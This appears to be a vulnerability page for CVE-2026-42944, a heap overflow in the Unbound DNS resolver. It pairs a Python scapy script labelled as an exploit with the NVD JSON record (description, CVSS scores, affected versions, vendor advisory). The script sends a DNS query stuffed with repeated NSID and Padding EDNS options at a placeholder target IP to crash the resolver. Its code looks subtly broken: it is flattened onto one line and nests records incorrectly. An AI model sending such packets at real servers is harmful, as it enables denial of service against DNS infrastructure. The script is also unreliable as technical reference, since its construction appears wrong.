CVE-2026-42944

from scapy.all import * def send_exploit(target_ip): # Construct a DNS query with multiple EDNS0 options to trigger the heap overflow # The vulnerability triggers when Unbound encodes multiple NSID/Cookie/Pad options in the reply. # Base DNS query query = DNSQR(qname="example.com") # EDNS0 options: Multiple NSID options to trigger the miscalculation opt1 = DNSRROPT(rdata=DNSOPTNSID()) opt2 = DNSRROPT(rdata=DNSOPTNSID()) opt3 = DNSRROPT(rdata=DNSOPTPAD()) # Assemble the packet with multiple options in the Additional section packet = IP(dst=target_ip) / UDP(dport=53) / DNS(rd=1, qd=query, ar=DNSRROPT(z=0, rdata=[opt1, opt2, opt3])) print(f"[*] Sending exploit packet to {target_ip}...") send(packet) print("[+] Packet sent.") if __name__ == "__main__": target = "192.168.1.10" # Replace with actual target IP send_exploit(target)

{"cve": {"id": "CVE-2026-42944", "sourceIdentifier": "[email protected]", "published": "2026-05-20T10:16:27.760", "lastModified": "2026-05-20T22:50:49.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NLnet Labs Unbound 1.14.0 up to and including version 1.25.0 has a vulnerability that results in heap overflow when encoding multiple NSID and/or DNS Cookie EDNS and/or EDNS Padding options in the reply packet. The relevant options ('nsid', 'answer-cookie', 'pad-responses' (default)) need to be enabled for the vulnerability to be exploited. An adversary who can query Unbound can exploit the vulnerability by attaching multiple NSID and/or DNS Cookie EDNS and/or EDNS Padding options to the query. A flaw in the size calculation of the EDNS field truncates the correct value which allows the encoder to overflow the available space when writing. Those two combined lead to a heap overflow write of Unbound controlled data and eventually a crash. Unbound 1.25.1 contains a patch with a fix to de-duplicate the EDNS options and a fix to prevent truncation of the EDNS field size calculation."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Red", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "RED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-197"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nlnetlabs:unbound:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.14.0", "versionEndExcluding": "1.25.1", "matchCriteriaId": "94679303-2382-42F1-8BFF-FD02D0444EE6"}]}]}], "references": [{"url": "https://www.nlnetlabs.nl/downloads/unbound/CVE-2026-42944.txt", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}